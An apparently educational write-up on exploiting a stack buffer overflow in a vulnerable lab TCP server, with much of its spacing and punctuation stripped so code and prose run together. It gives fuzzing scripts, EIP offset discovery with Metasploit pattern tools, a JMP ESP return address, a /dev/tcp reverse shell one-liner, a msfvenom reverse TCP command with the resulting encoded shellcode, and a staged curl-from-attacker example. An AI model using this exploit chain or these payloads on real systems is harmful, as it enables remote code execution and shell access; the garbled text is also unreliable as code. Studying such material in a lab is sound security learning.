Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
